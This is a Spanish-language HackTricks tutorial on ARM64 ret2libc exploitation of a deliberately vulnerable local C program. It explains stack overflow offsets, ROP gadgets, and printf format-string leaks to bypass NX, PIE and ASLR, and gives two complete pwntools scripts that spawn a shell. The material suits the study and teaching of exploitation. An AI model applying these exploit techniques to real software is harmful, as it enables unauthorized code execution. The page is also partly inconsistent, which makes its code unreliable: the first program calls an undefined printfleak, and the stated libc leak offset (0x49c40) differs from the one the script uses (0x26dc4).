Ret2lib + Printf leak - ARM64

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Ret2lib - NX bypass con ROP (sin ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compilar sin canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Encontrar offset - x30 offset

Creando un patrón con pattern create 200, usándolo y comprobando el offset con pattern search $x30 podemos ver que el offset es 108 (0x6c).

Al echar un vistazo a la función main desensamblada podemos ver que queremos saltar a la instrucción que salta directamente a printf, cuyo offset desde donde se carga el binario es 0x860:

Encontrar system y la cadena /bin/sh

Como la ASLR está deshabilitada, las direcciones serán siempre las mismas:

Encontrar Gadgets

Necesitamos tener en x0 la dirección de la cadena /bin/sh y llamar a system.

Usando rooper se encontró un gadget interesante:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Este gadget cargará x0 desde $sp + 0x18 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos controlar el primer argumento y luego saltar a system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE bypass con printf leaks desde el stack

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compilar sin canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE y ASLR pero sin canary

  • Ronda 1:
  • Leak de PIE desde el stack
  • Abusar de bof para volver a main
  • Ronda 2:
  • Leak de libc desde el stack
  • ROP: ret2system

Printf leaks

Al establecer un breakpoint antes de llamar a printf, es posible ver que hay direcciones para retornar al binary en el stack y también direcciones de libc:

Probando diferentes offsets, el %21$p puede provocar un leak de una dirección del binary (bypass de PIE) y %25$p puede provocar un leak de una dirección de libc:

Al restar la leaked address de libc con la dirección base de libc, es posible ver que el offset de la leaked address desde la base es 0x49c40.

x30 offset

Ver el ejemplo anterior ya que el bof es el mismo.

Encontrar Gadgets

Como en el ejemplo anterior, necesitamos tener en x0 la dirección de la cadena /bin/sh y llamar a system.

Usando rooper se encontró otro gadget interesante:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Este gadget cargará x0 desde $sp + 0x78, luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así, con este gadget podemos controlar el primer argumento y luego saltar a system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks